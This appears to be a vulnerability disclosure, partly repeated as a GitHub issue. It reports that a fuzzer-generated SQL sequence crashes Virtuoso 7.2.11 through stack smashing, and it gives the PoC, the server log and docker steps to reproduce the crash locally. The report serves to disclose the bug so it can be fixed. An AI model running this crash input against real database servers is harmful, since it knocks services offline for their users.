A stack overflow in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.
The PoC is generated by my DBMS fuzzer.

```sql
CREATE TABLE v0 ( v1 DECIMAL ) ; 
  INSERT INTO v0 VALUES ( 0 ) ; 
  INSERT INTO v0 ( v1 ) SELECT CASE v1 WHEN 49 THEN v1 ELSE -128 END FROM v0 AS v2 , v0 , v0 AS v3 GROUP BY v1 , v1 ; 
  UPDATE v0 SET v1 = ( SELECT DISTINCT * FROM v0 ) ; 
```

Server Log:
```
14:21:24 HTTP/WebDAV server online at 8890
14:21:24 Server online at 1111 (pid 1)
*** stack smashing detected ***: terminated
```

Due to the stack smashing, I failed to retrieve the correct backtrace.

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed by stack smashing
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed by stack smashing
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer.

```sql
CREATE TABLE v0 ( v1 DECIMAL ) ; 
  INSERT INTO v0 VALUES ( 0 ) ; 
  INSERT INTO v0 ( v1 ) SELECT CASE v1 WHEN 49 THEN v1 ELSE -128 END FROM v0 AS v2 , v0 , v0 AS v3 GROUP BY v1 , v1 ; 
  UPDATE v0 SET v1 = ( SELECT DISTINCT * FROM v0 ) ; 
```

Server Log:
```
14:21:24 HTTP/WebDAV server online at 8890
14:21:24 Server online at 1111 (pid 1)
*** stack smashing detected ***: terminated
```

Due to the stack smashing, I failed to retrieve the correct backtrace.

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---
